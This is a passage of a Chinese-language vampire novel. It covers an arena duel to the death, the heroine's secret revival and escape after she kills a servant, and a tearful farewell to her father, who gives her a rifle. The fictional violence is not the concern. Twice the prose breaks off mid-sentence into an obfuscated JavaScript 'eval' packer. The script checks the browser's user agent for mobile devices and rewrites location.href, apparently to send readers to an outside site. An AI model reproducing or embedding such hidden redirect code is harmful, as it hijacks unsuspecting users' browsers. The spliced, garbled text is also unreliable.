“所以我们会派出冠军。按照规矩，不能是本家族的成员。在这个荒凉的地方，这意味着要么花大价钱请雇佣兵，要么找决斗者。你已经杀了梅露辛的挑战者，所以你是我们的最佳人选。为我们赢得胜利，我就正式让你成为鲍德温的得力助手。” 他们果然是走投无路了！哦，但我不能表现得太急切，以免她起疑心。 “如果我接受，我希望有权拥有一件武器，还有一个像样的卧室。” “行，行，当然可以。你会得到凯特琳的空房间。她在攻打堡垒的时候死了。你还会得到丰厚的报酬，并且可以佩剑。在你开口问之前，我先告诉你，不行，我不能让代表我家族的人拿着火枪到处走。女人在城里可不能带火枪！别再提这事了！” 她太了解我了。我觉得好笑的是，在阿卡德语里，“火枪”就是“火杖”。 “成交，夫人。” “太好了！现在，作为受冒犯的一方，你有权自由选择武器。” 我心不在焉地听着摩尔夫人讲策略。现在束缚我的东西已经解除了，我兴奋得有些飘飘然。 很快，我们在一座废弃的剧院前停了下来，剧院有着布满坑洼的西班牙风格外立面。我在哈罗德的陪同下走了进去，来到一个奢华的入口，这里有黄色的石头和红色的幕布。两段弧形的楼梯向上延伸，通往一个环形的长廊，而我们面前有一扇门。走廊四处延伸，笼罩在阴影之中。尽管外表破败，但这里的一切都一尘不染。哈罗德一言不发地领着我走进一条狭窄的通道，而摩尔夫人则昂首阔步地向前走去。我跟着他在蜿蜒的小巷中穿行，只有偶尔闪烁的烛光照明。 自由，近在咫尺，我都能尝到它的味道了。 哈罗德打开一扇门，火把的金色光芒照亮了一座翻新的歌剧院。包厢完好无损，但地面完全被一个沙地竞技场所取代。这里肯定是他们在冬天举办血腥游戏的地方。 我能感觉到看台上有不少吸血鬼，还有一些凡人。一小群人在我们前方。 寂静得有些诡异。 摩尔夫人和兰伯特站在一边，而娜米娜塔和我认出是夸库勋爵的男人站在另一边。那对双胞胎，他们曾是加斯帕在堡垒时的手下，站在中间。我和我的救命恩人对视了一眼，她悲伤地垂下了眼睛。 呃？ 我本以为她会更活泼些。 “我向你们介绍我们的冠军，尼拉里家族的阿丽亚娜。” “根本就没有尼拉里家族。”夸库皱着眉头反驳道。 “那就说是无所属的，这无关紧要。”摩尔夫人冷笑着说。 其中一个双胞胎举起手，双方都安静了下来。这对双胞胎都是浅棕色头发、棕色眼睛、皮肤黝黑。他们身材相当矮小，有着我印象中舞者才有的肌肉。他们穿着一模一样的米色套装，整体效果显得十分单调。 “兰卡斯特家族说得没错，夸库勋爵。你们双方同意决斗时，并没有对冠军的选择做出限制。为此次决斗借调的其他家族的吸血鬼完全符合规定。” 我惊恐地僵在原地。天哪。我终于明白了。一心想着重获自由，我忽略了安特萨酒后说的话。她说：“他们会以为你死了。” 哦，不。 这可太痛苦了。 “在这吉祥的时刻，让我向你们介绍我的代表：来自加的斯家族的侍从希梅娜。” 我听到摩尔夫人猛地吸了一口气。她显然没想到会是这样。 “你什么时候成了加的斯家族的走狗了，夸库！？我还以为——！” “你以为我们在甘蔗农场的争端还没解决，是的，我知道。” 摩尔夫人沉默了，我趁机盯着希梅娜走近。我觉得自己穿着这件奇特的战斗裙已经够好看了，但和她一比，我就相形见绌了。她穿着合身的皮胸甲，显得高贵典雅。精美的金属护腕套在她的前臂上，她的手放在一把制作精美的剑柄上。 “两位冠军都已确认。双方可以就座了。” 其他人退下了，只剩下我和那对双胞胎以及我的对手。希梅娜的表情冷若冰霜。 另一个双胞胎转向我： “阿丽亚娜，作为受冒犯的一方，武器由你选择。” “如果可以的话……” 我们都转向希梅娜。 “我建议你选剑，年轻人。没必要让情况变得更糟。” 他们怎么都这么严肃？ “恐怕她是对的，年轻人。” “好吧，我选剑。” 其中一个双胞胎离开了，很快就拿着一对一模一样的决斗用剑回来了，剑是银制的，没有任何装饰。我拿起一把，希梅娜拿起另一把。 “这场决斗至死方休。门关上后，你们就可以开始了。” 等等，什么！？至死方休！？ 双胞胎不紧不慢地离开了。 “别因为你的处境而气馁，年轻的阿丽亚娜，尽力杀了我吧。” 然后，裁判身后的门关上了。 天哪。 我肯定她有计划，而且她很明确地让我尽全力使用这把剑。 “和我打，阿丽亚娜。” 好吧。 我动了起来，试图把她的剑拨开，然后向前刺去，但她只是把剑压低，然后又挥起来挡开我的攻击。我不断地移动，动作越来越多。 我的每一次攻击都被挡开，每一次佯攻都被无视，直到我把佯攻变成真正的攻击，然后又被挡住。我像一只愤怒的螳螂一样冲向希梅娜，她仅仅差之毫厘地躲开了。有时，她会反击，但她的动作很容易被看穿，我毫不费力地就挡开了。 我把速度提升到了极限，那种渴望鲜血的饥渴感又强烈起来。我试图抓住她，用爪子抓她，踢她、打她。我攻击她的手臂和腿。但都无济于事。 这场战斗比我和狼人那场持续的时间还长。我已经完成了至少五轮快速攻击，就在我快到极限的时候，奇怪的事情发生了。 我的头猛地一晃，脚步踉跄。我的意识像肥皂泡一样破裂了。所有战斗的欲望都消失了，力量也离我而去。我的手臂垂了下来，剑掉落在地上。 “啊？” 怎么回事？我感觉自己的思维像是被一层厚厚的棉花包裹着。 啊。 一把剑刺进了我的心脏。浓稠的鲜血汩汩地流到我的脚下。血好多。 希梅娜满脸悲伤地向我走来。 就这么结束了吗？ 本来是有计划的吧？没有吗？ 她的爪子伸向我的喉咙。 不要啊？ 随着一声撕裂的声音，她撕开了什么东西，我的视线在礼貌的掌声中陷入了黑暗。 夜幕笼罩着荆棘森林，万籁俱寂。像我大腿一样粗的藤蔓从四面八方蜿蜒交错。藤蔓上布满了巨大的尖刺，足以刺穿头骨。 天气越来越冷了。 我向前走着，周围的植被自动分开，为我让路。尽管我知道皮肤接触这些藤蔓时应该会被划破，但我感受到的却是最轻柔的抚摸。但这还不足以给我勇气。 天气越来越冷。我徒劳地抱紧自己，试图抵御这寒冷的空气。我应该回家的，可我却迷失了方向。爸爸一定很担心我。也许他已经在找我了。 要是能看到星星就好了，这样我至少能知道北方在哪里！ 仿佛有魔法一般，我立刻来到了一片夯实的空地。头顶有星星，但它们模糊不清，我认不出任何星座 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054919|162875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。我心里清楚，少了些什么，但到底是什么呢？ 啊，对了，我知道了。当然，我真傻，还有沉默守望者呢！ 一层面纱缓缓拉开，那神秘的天体带着难以捉摸的宁静注视着我。不知为何，今天它的存在感格外强烈。 我的意识仿佛被攫住，被抛向大地的另一端。这股冲击力足以让我从恍惚中惊醒。 我惊呆了。刚才发生了什么？但等等，没时间多想了。我就要死了。这不是我们沉睡时的假死，而是真正的死亡，一去不复返。我得行动起来，奋起反抗。我站起身，朝着小屋飞奔而去。我不需要看，也知道它在哪里。毕竟，这里是我的潜意识世界。 一阵寒风呼啸着在我身后刮起。森林扭动、摇晃，试图阻挡它，但却无济于事。我得跑得更快些。突然，一股诱人的气味钻进了我的鼻孔：极其浓郁的血腥味。 这味道太迷人了。我跑得更快了。我需要它。如此强大的生命力，我必须将它据为己有。这简直让人无法抗拒。 我终于跑到了木屋前，撞开门冲了进去。 我猛地惊醒，大口喘着粗气，还剧烈地咳嗽起来。 苏醒。极度口渴。身负重伤。 嘴里和喉咙里满是令人难以置信的美味。太美味了。如此强大的力量。但还不够。面前有猎物，被铁链锁着，呜咽着。我扑向猎物，尽情地吸食着。生命的力量涌来。没有快感，因为伤得太重。 它死了。 我深吸一口气，又咳嗽起来。血滴溅落在面前被绑着的尸体上和我的鞋子上。战斗裙的前襟完全被染红了。我胸口的伤口已经愈合，我明白了。 希梅娜只是勉强刺中了我的心脏，但即便如此，造成的伤害也极其严重。我理解加斯帕临死时的表情了。自从遇到“他”的那晚起，我就再也没有感受过如此无助。 我的喉咙仍然疼痛难忍。我又咳嗽了几声，试图清理呼吸道。更多的鲜血从我的嘴角滴落。 我打量着四周。我在一个木棚里，里面除了这个被绑着的男人的尸体、一个背包和放在上面的一个涂了油的信封，什么也没有。我走近背包，注意到里面有一把带鞘的银刀。我不由自主地笑了。她做到了，希梅娜做到了！我自由了！ “啊！” 外面突然有人尖叫起来，看来我还没有完全自由。 我悄悄地走到门边，透过钥匙孔向外望去。我在一个院子里，里面有两个人。一个是安特萨，另一个是夏洛特。这个像牛一样的女人正抓着安特萨的手。安特萨的两根手指已经被扭曲成了不自然的角度。 可恶，我该怎么办？如果我出去，可能会被发现，那这一切就都白费了，就算我能活下来也不行，然而，袖手旁观又感觉不对。我对希梅娜和安特萨心怀感激。我还没傻到以为我们做了一笔公平的交易。她们竭尽全力确保我能逃脱。 安特萨现在在苦苦哀求。她可能会被杀掉。真该死。我绝不能让这种事发生。如果我坐视不管，我以后都没脸面对我的朋友。 我必须冒险一试。 我打开门，门铰链发出像猪被卡住时的尖叫。这下可谈不上什么隐秘了。 夏洛特那张像猪一样的脸转向我，得意地叫了起来。 “哈，我就知道！你以为你能骗过老夏洛特？你没那么容易摆脱我们的奴役。等夫人知道了这事，你的惩罚会是个典型！你这样回报我们的恩情——” “这么说夫人还不知道？”我声音沙哑地说道。 “不知道，但很快我们就都会——” “这么说只有你知道这个计划？”我微笑着，故意露出獠牙。灌进我喉咙里的这些血，还有这个男人的血，让我暂时得到了满足，但身体修复伤口的过程让我没有陷入昏睡。我感觉清醒、强壮，而且非常开心。我自由了，现在夏洛特在没人知道的情况下自己送上门来？这简直是锦上添花。 我看着她脸上的愤怒和傲慢变成犹豫，继而转为恐惧。没错，现在你该认清自己的处境了，你这个愚蠢、冷漠的蠢货。 “你……你不敢。” 我慢慢靠近，动作很轻，以免她惊慌失措。我可不想追着她跑。 我走到她伸手可及的地方停了下来。 “我就快逃出去了，你这头肥母猪。现在只有你这张多嘴的嘴挡在我和自由之间，所以我问你：为什么不杀你？” 她转身想跑，我立刻行动。银刀刺入她的肋骨之间，我的手掐住她的脖子，把她那张丑陋的脸按进泥土里。她动作迟缓又可怜。在对手近在咫尺的时候转身背对对方？这简直就是自杀。 我调整了一下握刀的姿势，把刀抽了出来。她短暂地叫了一声，我趁她分心，将刀刺进了她的心脏。 她的挣扎瞬间停止。我把她的脖子往上一提，听到她发出一声呜咽。 “生前也好，死后也罢，你始终都是个底层的贱货。” 我把她的血吸干。当我站起身时，一道微弱的蓝光开始吞噬她毫无生气的尸体。我感觉自己像是在看着一根木头慢慢化为灰烬。 她的血味甚至都令人失望。真的，直到最后一刻都是在浪费精华。算了。 我转向安特萨。她已经退到一旁，此刻正抱着受伤的手。她脸色苍白，但神情坚定。 “安特萨——” “你必须得走了，阿丽亚娜，不然我们都有危险。” “你会没事吧？” “会的，别担心，这不是我第一次帮希梅娜策划行动了。” “她似乎过于正直，这对她自己可没什么好处。” “她全身上下找不出一根狡猾的骨头。”她微笑着，眼神中带着一丝梦幻般的温柔补充道。她爱她。如果我之前还有所怀疑，现在也烟消云散了。即便因为我刚刚吸食了她的血，我们之间有了联系，但对这个小个子女人来说，希梅娜依然是世界上最珍贵的人。我的心里涌起一丝嫉妒，但我很快就压了下去。我不需要这种情绪，也不想有。 “那我这就告辞了。谢谢你们俩，为我做的一切。” “一路顺风，阿丽亚娜小姐。仔细看看那封信，里面有你需要知道的所有信息。” 我点点头，冲进了夜色之中。在被奴役了六个月之后，我终于重获自由。 我成功了。现在，我要回家了。 13. 血裔归乡 我长大的蒙特福特小镇，位于新奥尔良和巴吞鲁日之间，差不多靠近三分之二路程的位置。在我还活着的时候，骑马到这里得花上一整天。而今晚，我只用了两个小时全力奔跑，就抵达了小镇的郊外。 我本应该死的。哪怕我的心脏只是擦破了点皮，脑袋也还基本连在脖子上，但我所受的重伤也足以致命。然而，有人给我喂了几口极为强劲的鲜血，那血的力量惊人，极大地加速了我的愈合，甚至此刻还支撑着我前行。 我以前也跑过，随便活动一下就会感到极度的“渴”。但这次，我仿佛在无尽的能量之风中奔跑，体内有一口取之不尽的活力源泉。即便现在，我也感觉饱腹感满满。 我不明白他们给我的是什么；我只知道，我从未听说过类似的东西。不管这珍贵的馈赠是什么，它必定稀有又贵重。这下，我又多了一笔人情债。 看到那些熟悉的房子时，我放慢了脚步。在这样的深夜，道路上空无一人，乌云遮蔽了夜空，就算有人从窗户往外看，也很难注意到我。但我还是选择穿过田野和树林，从房子的后门走。我不想冒任何风险。 我来到了我家的第一片甘蔗地。冬天快到了，地里空荡荡的，一片荒芜。我继续往前走。湿润的泥土和树木散发的独特气味，让我想起了家，我不禁停了下来。 我做到了。自我在堡垒下醒来，就一心想要获得自由、回到家中，如今这个首要目标已经实现。在那些可能将我击垮、让我无助的困境中，正是对自由和家的向往，让我保持理智和决心。但现在我才意识到，实现了这些目标后，我完全不知道接下来该做什么。这些想法并非能够付诸实践的计划，只是没有后续行动的空想。 我在一个树桩上坐下。 我究竟想要什么？ 我是个怪物。要是我试图回到过去的生活，家人很快就会发现我的异样。更糟的是，我回来的消息会传得沸沸扬扬，这简直就相当于给兰卡斯特家族和加百列教团送信，让他们拿着利刃和银钉来我家取我性命。 我不想留下。可我还是想知道父亲和哥哥过得怎么样。他们和我一样，需要一个了断。 我不想死。 我不想再当奴隶。 这些都是消极的愿望，只是对某些事物的回避，并非我能为之奋斗的目标。 迷茫之中，我决定看看希梅娜的信。说不定她能给我一些好建议。我从大背包里拿出那个厚厚的信封，打开它。我注意到信封上涂了些东西，无疑是为了防水，他们考虑得真是周全。 信的第一行是一串奇怪的符文，全是楔形和尖角，看起来就像有人拿东西刺了这张纸，墨水像伤口渗出的黑血。我眨了眨眼，符文的意思便清晰地出现在脑海里。 血之姐妹，如果你能读写阿卡德语，请从现在起在我们的通信中使用这种语言。 我甚至没去想为什么我会突然理解这些知识。 信的其余部分是用英文写的。希梅娜的字写得工整，间距均匀，纸上没有一点墨渍，这和我对她那种一板一眼的印象相符。 “亲爱的阿丽亚娜： 你读完这些话后，首先要做的就是离开这座城市。像躲避瘟疫一样避开新奥尔良周边地区，巴吞鲁日也离得远远的！至少在十年内，绝不能引起我们同类的注意。别让我们的努力白费，我没办法再救你一次。 我要告诉你的第二件事是，回家时务必小心。我理解你，因为我们都有过这样的念头。希望你不会像我当年那样遭遇不幸。同样的，千万别被人发现，看在你珍视的一切的份上，别再试图过以前的生活。 你骗不了人类太久，要是吸血鬼没发现你，加百列教团也会察觉到。别因为他们在堡垒的失败就小瞧他们。他们高效又冷酷，很多初出茅庐的吸血鬼都栽在他们手上。低估他们，你会付出惨痛代价。 现在，我假设你已经安全离开了，有些事情我想告诉你。你目前的首要任务是再活一年半。作为新生的吸血鬼，你需要大量的鲜血。每晚都得饱饮一顿，可找血并不容易。你相对容易找到的猎物是独行旅客、不法之徒和逃犯。小村庄或许能成为你的狩猎场，但也只能维持一晚。 你一定要记住，无论你走到哪里，你都是、也将永远是个外人。你会引人注意，而引人注意对你没好处。身为吸血鬼，你比世上大多数个体都危险。至少现在，你是孤立无援的。 别被人发现、陷入绝境，别被追踪。永远比别人多走一步，你的生命才不会有危险。要是让人们察觉到身边潜伏着你这样的存在，你必死无疑。即便你能杀死很多人，最终也难逃一死，毫无意义。 唯一能让你藏身的地方，是大城市里的茫茫人海。即便如此，要是没有主人的支持，你也时刻处在危险之中。在找到盟友之前，你最好四处奔波，别停下脚步。 出于显而易见的原因，你应该避开当地人的领地，大晚上的，一个孤身的白人女性太显眼了。 你想去哪儿都行，但我还是建议你离美洲大陆上的另外两个吸血鬼群落远点。一个在查尔斯顿，另一个在纽约。能避开就避开。 接下来是一些更实际的建议，真希望我刚成为吸血鬼时有人能跟我说这些： 伪造一个身份，并且让它看起来可信。坚持用这个身份。你对它越熟悉，别人就越不会怀疑你在说谎。要保持一致，在每个村子都换名字和身份，这并不能让你躲过教团或追踪你的吸血鬼，只会让你更容易暴露。 永远在真正“渴”之前就吸血，不然等“渴”意来袭，你就没办法手下留情了。 每天天亮前至少两小时，你就得找好地方躲起来。要是你在熟睡时被阳光照到，就再也醒不过来了。 别去逗狗、猫或其他动物，它们能闻出我们的真实身份。 随时准备一套干净的衣服，如果可以的话，再准备干净的袜子。 别忘了清洗耳后，小心沾到血迹。 别用火球猪当诱饵，根本不管用！野猪和公牛也不行。 嗯？ 要是有人对你笑脸相迎，那说明他们怀疑你是逃犯，而且家里已经有人去叫警察了。 最后，也是最重要的一点： 藏好尸体。” 我满心遗憾地合上信。希梅娜的信里全是指示和警告，除了活下去，没告诉我该怎么生活。我不过是在拖延不可避免的事。尽管很不情愿，但我还是得好好反思一下。 我到底想要什么？ 我想为自己创造些什么，然后精心培育它。小时候，我想建一个马厩，后来又想建一座酿酒厂。从希梅娜的信来看，现在这些多半都不可能实现了。或许以后还有机会。毕竟，我什么时候开启新项目都不算晚。 要是不能建造，那我至少可以去旅行。我可以去佛罗里达、得克萨斯，甚至去北方的盎格鲁人领地。我还能去加拿大！或者巴黎、伦敦！ 不，这主意糟透了。我得跨越大洋，就算是我的主人，没做好准备也不敢轻易尝试。而且这还会让我接触到其他吸血鬼家族。这座孤独的吸血鬼，还是不去巴黎、巴塞罗那和柏林了。我就把新大陆当作我的天地吧。 没错。我可以去旅行、探索新事物、结识新朋友，饿了还能把他们当食物！等我处理好这边的事就出发。 突然，我的心情一落千丈。我一路狂奔到这里，现在却在浪费时间制定这些可能永远无法实现的愚蠢计划。我…… 我很害怕。 没错，我承认了。我害怕面对即将发现的一切。要是家人想杀我，我该怎么办？要是他们已经不在人世，我又该如何？ 不，不会的。他们不可能死。我绝不接受。 我猛地站起来，大步朝那座大房子走去，我就快到了。 那座小木屋。 我缓缓走向童年的那个地方。 它已经被烧成了灰烬。 不！ 黑色的烟灰附着在石头地基和几根幸存的横梁上。木炭又黑又亮，经过一季雨水的冲刷，表面变得很光滑。小小的壁炉塌了一半，家具也全都没了。我走上前，跪了下来，抓起一把黑色的尘土。 这是怎么回事？为什么它没了，而且看起来这么小？我的小木屋又高又大又坚固，还有一张带篷的床！眼前这个寒酸的残骸，根本不是我记忆中的童年故居！我无法接受。 这是在开玩笑吗？还是什么恶作剧？是不是在更远处有个隐蔽的地方？也许是我记错了，这只是个棚子，真正的房子在更远处？ 我哭了。 我默默地用一张干净的纸巾擦去眼泪。我没想到失去这个地方会让我如此难过。为什么呢？为什么我这么伤心？我抬头望向夜空，思绪突然飘到了我的避风港。 夜空依旧漆黑，万里无云。凝视着夜空，我感到一种浩瀚无垠的感觉。我低头看看那坚固的墙壁，它比罗马城镇的城墙还要坚固，然后走了进去。 门自动为我打开。里面温暖又整洁。床摆在房间中央，周围摆放着家具和一些小玩意儿，每一件都承载着一段珍贵的回忆。壁炉里的火熊熊燃烧，木柴噼里啪啦地响着，仿佛在欢快地歌唱。 我走出来，最后坐在潮湿的灰烬中。 这就是天真无邪消逝的感觉吧。已经过去六个月了，世界还在继续运转，它不会为任何人停留。 我又站了起来。不。这没什么大不了的。这只是一座房子而已。我不会让这样的事把我击垮。我绝不允许。 我继续前行，过了一会儿，我童年的家出现在眼前。 那是一座两层的殖民地风格的房子，木头被漆成了白色。外面有个露台，通向一个气派的入口。我熟悉这里的每一个房间，每一个角落，但现在有个大问题。 我进不去，至少没有邀请我就进不去。我得等爸爸邀请我。 我走到他二楼卧室的窗边。我轻轻一跃，双手轻松地抓住窗台，爪子抠进木头里，然后往下看。 这身手不错，以后得记住用这招躲避追捕。 我转过头，面前是一扇百叶窗。果然。我伸出食指，轻轻一推，木头就发出“嘎吱”一声裂开了，我打开了锁。百叶窗打开时，生锈的铰链发出刺耳的声音。屋里，一只狗开始叫起来。 我透过窗户和拉上的窗帘往里看。爸爸肯定听到我的动静了吧？他现在应该已经起床，正挥舞着一根大铁棍，对着胆敢打扰他休息的人怒吼才对。 门猛地被推开，一个女人带着一只小狗走了进来。我赶紧低下头，松开手。 “罗杰，有人打开了百叶窗！” “该死的女人，我不是叫你等我嘛。” “爸爸？怎么了？” 我一动不动地站在原地。真倒霉，这是我姑姑和她的家人。他们在这儿干什么？我爸爸去哪儿了？ “你待在这儿，我出去看看。” “爸爸？” “我说了，待在这儿。” 他居然要主动出去？这可太方便了。 罗杰拿着一盏灯、带着狗和一支上了膛的火枪走出屋子。那只小白狗一直叫个不停，直到闻到我的气味。 然后它开始瑟瑟发抖。 我从露台上跳下来，悄无声息地落在他身后。我用两根爪子掐住他的脖子。他僵住了，手里的东西都掉了，拼命地抓住我的手。我让他挣扎了几秒钟，然后加大了手上的力气。 “我有几个问题要问你。”我低声说道。 “阿丽？！” 我愣住了。简直不敢相信。他听出我的声音了？我和罗杰向来不亲近，从去年五月起就没说过话。他怎么听出来的？怎么可能？ “阿丽，是你吗？” “不是！” “阿丽，你出什么事了？我们可以帮你——” “闭嘴！我不——不！现在是我问你答。快说，爸爸在哪儿？” “阿丽，我很抱歉，我们不得不——” “他到底在哪儿！” “在佣人房！” 我再也受不了了。他到底在佣人房干什么？那是佣人们住的地方！我把罗杰转过来，用力把他抵在墙上。 “他为什么在那儿？为什么不在这儿？这是他的房子！” “我可以解释！” “别伤害我爸爸！” 我们俩都转过头，看到一个小孩，我的侄子。罗杰的声音第一次透露出真正的恐慌。 “求你了……卢西安，别过来。回家去。” “阿丽阿姨？” 不，这不对，一切都不对劲，不该是这样的！ 他们不属于这里！这里是我的巢穴！杀了这些闯入者，吸干他们的血，把他们的尸体挂起来警告其他人—— 不！ 不行。 这是我的家人。这种扭曲的生活已经夺走了身为人类的阿丽亚娜的人生，我绝不能再让它夺走我的家人。我绝不允许。我不是奴隶，不属于兰卡斯特家族，不属于那个“他”，更不会被自己的本能控制。这种事不能就这么算了。 我松开了老人，他瘫倒在地上。卢西安好奇地看着我。糟糕，他肯定看到我的尖牙了。现在他们知道我的秘密了。为了保险起见，我应该杀了他们，处理尸体对我来说轻而易举。 我这是怎么了？ 我得离开。 “去哪儿？” “汤姆的老房子。等等！” 我停住了，但不敢转身面对他们。 “你失踪后，他一直很难接受。” “那他为什么不在自己的卧室，那才是他该待的地方。” “他喝了太多酒，把那间休息用的小木屋给烧了，差点把这房子也烧了。他就搬出去了。我们在帮他打理奴隶和产业，而他……就这么日渐消沉。” “……我明白了。” “阿丽，你到底怎么了？” “你没见过我，叔叔。你从来没在这儿见过我。我已经死了。你明白吗？” “我们爱你，阿丽，我们是你的家人。留下吧——” “不！我不能。真的不能。我会连累卢西安和萨拉，会连累所有人。” “我懂了。那这就是告别了？” “是的。” “那，我祝你一切顺利，我很抱歉。” “再见，罗杰。” “再见，阿丽。” “再见，阿丽阿姨，照顾好自己。” 我朝着一排小房子飞奔而去。只用了几秒钟，我就找到了那间房子，然后疯狂地敲门。过了好久他才来开门，久到已经吵醒了其他人。但我不在乎。 终于，他打开了门，我们俩震惊地对视着，一句话也说不出来。 是他，真的是他。 “让我进去。” “阿丽？” “让我进去，该死的！” 他惊讶地微微动了一下，这就足够了。我从他身边挤过去，他在我身后关上了门。屋里只有一根小蜡烛，散发着微弱的光。 他的家又破又乱，摆满了摇摇晃晃的家具，到处都是空酒瓶。屋里弥漫着酒精、消化后的酒味和汗臭味。 我们都没说话。我甚至都没转身看他。这时有人敲门，我吓得跳了起来。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054920|162875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雷诺先生，您没事吧？” “没事。我很好。请别打扰我。” “好的，先生。” 我们同时转过头。我穿着一件冬天的旅行披风，头发披散着。 我还是七月离开他家时的模样，连头发长度都没变。而他，却和以前判若两人。 他的皮肤病态地紧绷在瘦骨嶙峋的骨架上，蓝色的眼睛深陷下去，失去了往日的光彩。他肩膀耷拉着，弓着背，就连他那引以为傲的金色胡须也变得杂乱无章、脏兮兮的。真是讽刺，被留下的人是我，可无法释怀的人却是他。 “真的是你吗，还是这只是个残忍的玩笑？” 他的声音很冷淡，但脸上却写满了痛苦，那是无尽的悲伤，就算酒精也无法缓解。 “我……” 我犹豫了一下，决定还是说实话。 “我很抱歉，我也不知道。” 我像个孩子一样大哭起来。天啊，我真是太没用了。那个在竞技场上无敌的骄傲吸血鬼，现在却变成了一个颤抖的可怜虫。爸爸把我抱在怀里，紧紧地拥着我。我靠在他身上。 我们就这样抱了一会儿。 天啊，我真希望时间能停在这一刻。 过了一会儿，我推开了他。他松开了手。 “女儿，你哭出来的血弄脏了我的衬衫。” “反正你的衬衫也够脏的了。” “告诉我到底发生了什么事。” 我开始滔滔不绝地讲起来，把所有的事一股脑都说了出来。被诅咒、死亡、需要鲜血、逃跑、我的朋友希梅娜、我们初次见面的情景、在竞技场上战斗、跑腿办事、天空中的那只大眼睛。这些话杂乱无章地涌出来，他自始至终都没有打断我。 大概过了一个小时，我像一把打湿的手枪，再也说不出话来。他用纸巾擦干脸上的泪水，我则等着他的回应，或许是某种裁决吧。 “你觉得我的女儿死在了那个地下室里？” “我想是的“我想是的，”我有些犹豫地说道，“我觉得我已经不是人类了。” “她受苦了吗？她叫我了吗？” 我看着他，他面无表情。我该说实话吗？ 他是不会相信谎言的。 “是的，我叫了。” 他坐下来，又哭了起来。在过去的这一个小时里，我们哭了好多次。我的裙子前襟都沾上了泪水。 “我从没想过你还会回来。”我说着，也坐了下来。 “你什么都做不了。我知道这很不公平，但我可以告诉你：就算你当时找到了我，你也会送命的。” “我没能保护好你。” “不，你做到了。在过去的十九年里，你让我很幸福。这就是你该做的，爸爸。杀死存活了上千年的怪物，从来都不是你该承担的事。” “要是我早知道……” “但你不可能知道的。” 我们陷入了沉默。 “你真的必须得走吗？” “是的。我回来只是想有个了结，我们都需要这个了结。” “我想也是。” “阿希尔在哪里？” “他在休斯顿谈一个合同。我觉得他已经接受了你去世的事实。” “我就知道我务实的哥哥会这样。康斯坦萨怎么样了？” “她康复了，但脸上留了疤。有个城里的好医生一直在照顾她，他们四月份就要结婚了。” “听到这个消息真好。” 我们又静静地坐了一会儿，这种安静让我感觉很舒服。我想，自我死后，我还从来没有这么长时间保持清醒过。我隐约意识到，我得找个地方躲起来度过白天，但此刻，我根本不在乎这些。 “我必须得走了，爸爸。” “是啊，我想你确实得走了。” 他的眼睛突然瞪大，露出惊喜的神情，脸上浮现出一抹傻傻的笑容。我也不由自主地露出了同样的表情。看到他脸上有了一丝生气，这种感觉真好。 “等等！在你走之前，我有给你的生日礼物！” “什么？你真的有？” 这时我才突然想起来，我八月份就满二十岁了。这段时间我一门心思都在忙着跑腿和求生，根本没想过要庆祝生日。 爸爸兴奋地跑到卧室，在一堆东西里翻找着。我听到他嘴里嘟囔着，还时不时骂上几句，接着，他得意地喊了一声“啊哈！”，拿着一个长长的皮套走了回来。 “爸爸！这是？” “没错！这是我让塔列朗给你做的。试试！” 我打开皮套，拿出一把崭新的步枪。 “哦，我的天哪，太棒了！” 我兴奋地跳起来，抚摸着光滑的红色木质枪托、刻有银饰的发射装置和长长的枪管。这把枪简直就是一件饱含爱意的艺术品。我举起枪瞄准，感觉它就像是我一直以来的伙伴。它的平衡性极佳，而且很轻，不过我想这也多亏了我新生的力量。 “太不可思议了！就好像它是为我量身打造的一样！” “它就是为你做的。塔列朗是按照你的尺寸做的。” “哦，爸爸，这真是一份太棒的礼物了！谢谢你，太感谢你了！” 我跳起来，又一次拥抱了他，笑个不停。 “不过等等，我还没告诉你最棒的地方呢！”他笑着说道。 接着，爸爸详细地给我讲解这把枪有多特别。这是一款新型设计，使用纸制弹药，从枪膛后部装填，而不是从枪口装填。枪管还刻有膛线，能提高射击精度。科学的力量真是无穷无尽。 之后，就到了告别的时刻。 我背起背包，把皮套和一袋弹药放进口袋，默默地准备离开。爸爸握住我的肩膀，最后一次拥抱了我。 这是六个月以来，我第一次拥抱一个我不会吸食其鲜血的人。 他微微后退，粗糙的大拇指轻轻抚摸着我的脸颊。 “我记得你说过你不是我的阿丽亚娜了，但你错了。你还是那个有着同样灵魂、同样志向的人，上帝原谅我这么说，你还是那个喜欢玩那些会‘砰砰’响的、不符合淑女身份的东西的人。” “爸爸！” “嘘，哈哈，让你老爸把话说完。你觉得成为人类才让你成为我的女儿，但其实不是。是你这个人本身，让你成为了我的女儿。你一直在改变、成长，而这次的变化只是最近发生的，也是最严峻的一次。别绝望，也别忘记你的过去，还有我们一起度过的时光，好吗？” “别再让我哭了！” “哈哈，没关系的。” “你也是！”我一边打嗝一边说道，“你最好收拾收拾自己，先生。别让我为你感到丢人。” “哦，相信我，我会的。” 我转身走向门口，生怕自己会彻底失去所有的自制力。今晚的我格外情绪化，比平时更甚。或许这要怪那奇怪的血液，但我并不后悔。我想，我需要这样的宣泄。 “拿着圣兰德里仓库的钥匙。你今天可以在那里休息，还有，阿丽亚娜？” “嗯？” “你有敌人。狠狠教训他们，别手下留情。我不想再失去你了，听到了吗？你不许死在我前面。” “我保证。” “很好，现在走吧，别忘了写信！” 